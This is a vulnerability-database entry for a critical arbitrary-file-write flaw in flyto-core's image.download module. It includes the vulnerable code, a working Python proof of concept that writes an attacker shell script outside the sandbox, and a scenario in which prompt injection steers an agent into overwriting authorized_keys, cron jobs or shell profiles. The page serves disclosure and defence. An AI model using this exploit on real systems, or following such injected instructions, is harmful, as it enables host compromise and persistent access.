CVE-2026-67429: flyto-core: arbitrary file write via bypassed path guard

GHSA-2956-977x-2w3r CRITICAL PoC AVAILABLE CISA: ATTEND
Published July 30, 2026
CISO Take

A path-confinement check in flyto-core's image.download module is broken by design: it validates the destination against a base directory (output_dir) that the caller also supplies, so an attacker who sets output_dir='/' can write arbitrary HTTP response bytes to any path the process can access — unlike the correctly-guarded file.write, which stays inside FLYTO_SANDBOX_DIR. This matters because in AI agent deployments the vulnerable parameters (url, output_dir, output_path) are set by the LLM via the generic execute_module MCP tool or by remote API clients, so an attacker who controls content the agent processes — a webpage, document, or API response — can steer the model into calling this module with a malicious output path and achieve code execution by overwriting authorized_keys, cron jobs, or Python modules. The flaw carries a maximum CVSS 10.0, has no CISA KEV listing and no public exploit or scanner template yet, but the vendor GHSA ships a working PoC and requires no cleverness beyond setting output_dir to the filesystem root. At least eleven other file-writing modules (image.convert, document.excel_write, browser.pagination, etc.) share the same caller-controlled-path pattern with no guard at all, so this is a systemic sandbox-escape class, not a one-off bug. Patch to flyto-core 2.26.7 immediately, and until every module is audited, treat any flyto-core deployment exposed to an AI agent or untrusted API client as capable of writing files outside its sandbox.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

Critical (CVSS 3.1 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H). No authentication and no user interaction are required, complexity is low, and the vulnerable parameters are attacker/LLM-controlled by design in agentic deployments; the scope-changed vector reflects that a write outside the sandbox can affect the host beyond the flyto-core process itself. EPSS is not yet scored (CVE just published 2026-07-30) and it is not in CISA KEV, so there is no confirmed in-the-wild exploitation signal yet, but a public GHSA with a working PoC, a one-line trigger (output_dir='/'), and reachability through the generic MCP execute_module tool make rapid weaponization plausible once attackers notice flyto-core is an AI agent framework. Given the maximum severity score and the direct path to code execution, this should be treated as urgent regardless of current EPSS/KEV status.

How does the attack unfold?

Initial reach
Attacker plants a prompt-injection payload in content the AI agent will process, or calls the generic execute_module MCP tool directly if exposed as a remote API.
AML.T0051.001
Tool invocation
The agent (or remote caller) invokes flyto-core's image.download module, supplying both output_dir and output_path so the broken path guard always passes.
AML.T0053
Arbitrary write
flyto-core fetches attacker-hosted bytes over HTTP (passing the SSRF host check) and writes them to the attacker-chosen absolute path outside FLYTO_SANDBOX_DIR.
Code execution / persistence
The written content overwrites authorized_keys, a cron job, a shell profile, or application code, giving the attacker persistent access or code execution on the host.
AML.T0112

What systems are affected?

Package Ecosystem Vulnerable Range Patched
flyto-core pip < 2.26.7 2.26.7

Do you use flyto-core? You're affected.

How severe is it?

CVSS 3.1
10.0 / 10
EPSS
0.5%
chance of exploitation in 30 days
Higher than 41% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Changed
C None
I High
A High

What should I do?

1 step
  1. Upgrade flyto-core to >= 2.26.7 immediately — the fix routes image.download writes through validate_path_with_env_config() and confines them to FLYTO_SANDBOX_DIR. Until patched, disable or deny-list image.download and the other caller-controlled-path modules named in the advisory (image.convert/resize/crop/compress/rotate/watermark/qrcode_generate, document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word, browser.pagination) from any agent tool manifest or MCP execute_module allow-list. Run the process under a dedicated low-privilege account with filesystem ACLs that cannot write outside the intended sandbox directory, as defense-in-depth regardless of patch status. For detection, monitor file-write syscalls or FIM alerts for writes originating from the flyto-core process to paths outside FLYTO_SANDBOX_DIR (e.g. ~/.ssh, /etc/cron*, shell profile files, application source), and review execute_module MCP call logs for output_dir/output_path parameters pointing to root-like or out-of-sandbox absolute paths.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable Yes
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
Annex A.9.2 - AI system operational controls
NIST AI RMF
MEASURE 2.7 - AI system security and resilience is evaluated
OWASP LLM Top 10
LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-67429?

A path-confinement check in flyto-core's image.download module is broken by design: it validates the destination against a base directory (output_dir) that the caller also supplies, so an attacker who sets output_dir='/' can write arbitrary HTTP response bytes to any path the process can access — unlike the correctly-guarded file.write, which stays inside FLYTO_SANDBOX_DIR. This matters because in AI agent deployments the vulnerable parameters (url, output_dir, output_path) are set by the LLM via the generic execute_module MCP tool or by remote API clients, so an attacker who controls content the agent processes — a webpage, document, or API response — can steer the model into calling this module with a malicious output path and achieve code execution by overwriting authorized_keys, cron jobs, or Python modules. The flaw carries a maximum CVSS 10.0, has no CISA KEV listing and no public exploit or scanner template yet, but the vendor GHSA ships a working PoC and requires no cleverness beyond setting output_dir to the filesystem root. At least eleven other file-writing modules (image.convert, document.excel_write, browser.pagination, etc.) share the same caller-controlled-path pattern with no guard at all, so this is a systemic sandbox-escape class, not a one-off bug. Patch to flyto-core 2.26.7 immediately, and until every module is audited, treat any flyto-core deployment exposed to an AI agent or untrusted API client as capable of writing files outside its sandbox.

Is CVE-2026-67429 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-67429, increasing the risk of exploitation.

How to fix CVE-2026-67429?

Upgrade flyto-core to >= 2.26.7 immediately — the fix routes image.download writes through validate_path_with_env_config() and confines them to FLYTO_SANDBOX_DIR. Until patched, disable or deny-list image.download and the other caller-controlled-path modules named in the advisory (image.convert/resize/crop/compress/rotate/watermark/qrcode_generate, document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word, browser.pagination) from any agent tool manifest or MCP execute_module allow-list. Run the process under a dedicated low-privilege account with filesystem ACLs that cannot write outside the intended sandbox directory, as defense-in-depth regardless of patch status. For detection, monitor file-write syscalls or FIM alerts for writes originating from the flyto-core process to paths outside FLYTO_SANDBOX_DIR (e.g. ~/.ssh, /etc/cron*, shell profile files, application source), and review execute_module MCP call logs for output_dir/output_path parameters pointing to root-like or out-of-sandbox absolute paths.

What systems are affected by CVE-2026-67429?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent tool/plugin execution, MCP tool integrations.

What is the CVSS score for CVE-2026-67429?

CVE-2026-67429 has a CVSS v3.1 base score of 10.0 (CRITICAL). The EPSS exploitation probability is 0.49%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI agent tool/plugin executionMCP tool integrations

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application
AML.T0051.001 Indirect
AML.T0053 AI Agent Tool Invocation
AML.T0112 Machine Compromise

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: Annex A.9.2
NIST AI RMF: MEASURE 2.7
OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

## Summary `image.download` fetches a URL and writes the response to disk. It does not use the central path guard (`validate_path_with_env_config`, which confines writes to `FLYTO_SANDBOX_DIR`); instead it confines the output to `output_dir`, but `output_dir` is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write. ## Affected code `src/core/modules/atomic/image/download.py`: ```python output_path = params.get('output_path') output_dir = params.get('output_dir', '/tmp') # caller-controlled base ... base_real = os.path.realpath(output_dir) target_real = os.path.realpath(output_path) if os.path.commonpath([base_real, target_real]) != base_real: raise Exception('Invalid file path') # base is attacker-chosen, so always passes ... content = await response.read() # attacker-hosted bytes with open(target_real, 'wb') as f: f.write(content) ``` `commonpath` is used correctly, but the base is caller-supplied, so setting `output_dir='/'` passes any target. `file.write`, by contrast, uses `validate_path_with_env_config()` and stays inside `FLYTO_SANDBOX_DIR`. This is not isolated to `image.download`. Most other file-writing modules write to a caller `output_path` with no path check at all: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` and `browser.pagination`. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; `image.download` is the strongest because the bytes are arbitrary. ## Reproduction Save as `filewrite_poc.py`, run with `PYTHONPATH=src/src python filewrite_poc.py`. It sets `FLYTO_SANDBOX_DIR` to a sandbox dir and writes to a sibling directory outside it. ```python #!/usr/bin/env python3 import asyncio import os import tempfile import threading from http.server import BaseHTTPRequestHandler, HTTPServer os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n" class Content(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.send_header("Content-Type", "image/jpeg") self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL) def log_message(self, *a): pass async def run(mid, params): from core.modules.registry import ModuleRegistry try: return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={})) except Exception as e: return ("EXC", f"{type(e).__name__}: {e}") async def main(): from core.modules.atomic import register_all register_all() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start() root = tempfile.mkdtemp(prefix="flyto_poc_") sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox) escape = os.path.join(root, "ESCAPE"); os.makedirs(escape) os.environ["FLYTO_SANDBOX_DIR"] = sandbox target = os.path.join(escape, "pwned") # OUTSIDE the sandbox print("A) file.write:", await run("file.write", {"path": target, "content": "x"})) print("B) image.download:", await run("image.download", { "url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target})) print("file written outside sandbox?", os.path.exists(target)) if os.path.exists(target): print("content:", open(target, "rb").read()) if __name__ == "__main__": asyncio.run(main()) ``` Output: ``` A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...') B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...}) file written outside sandbox? True content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n' ``` `file.write` refuses the out-of-sandbox path; `image.download` writes attacker bytes there. Reproduced through the running HTTP API as well. ## Reachability (why this is not operator self-service) `output_dir`, `output_path` and `url` are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic `execute_module(module_id, params)` MCP tool (`core/mcp_handler.py`, `params` taken from the model's `arguments`) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. `FLYTO_SANDBOX_DIR` and the guard `file.write` uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior. ## Impact Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or `authorized_keys`, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows). ## Suggested fix Use `validate_path_with_env_config()` for every module that writes files, so all writes are confined to `FLYTO_SANDBOX_DIR` (a base the caller cannot change), never to a caller-supplied `output_dir`.

Exploitation Scenario

An organization deploys an AI agent (via flyto-core's MCP execute_module tool) that browses the web or processes documents on a user's behalf and has access to the image.download module for legitimate tasks like saving generated images. An attacker plants a prompt-injection payload in content the agent is likely to process — a web page, PDF, or email — instructing it to 'download this image' from an attacker-controlled URL and save it with output_dir='/' and output_path='/home/appuser/.ssh/authorized_keys' (or a cron file, or .bashrc). Because the URL passes flyto-core's SSRF host allow-list (the attacker simply hosts the payload on their own public server) and the path guard is defeated by the caller controlling both the target and the base it is checked against, the tool call succeeds silently and writes the attacker's SSH key or malicious script to a sensitive path. On the next login, cron run, or shell invocation, the attacker's payload executes, giving them a foothold on the host running the AI agent.

Weaknesses (CWE)

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

Timeline

Published
July 30, 2026
Last Modified
July 30, 2026
First Seen
July 30, 2026

Related Vulnerabilities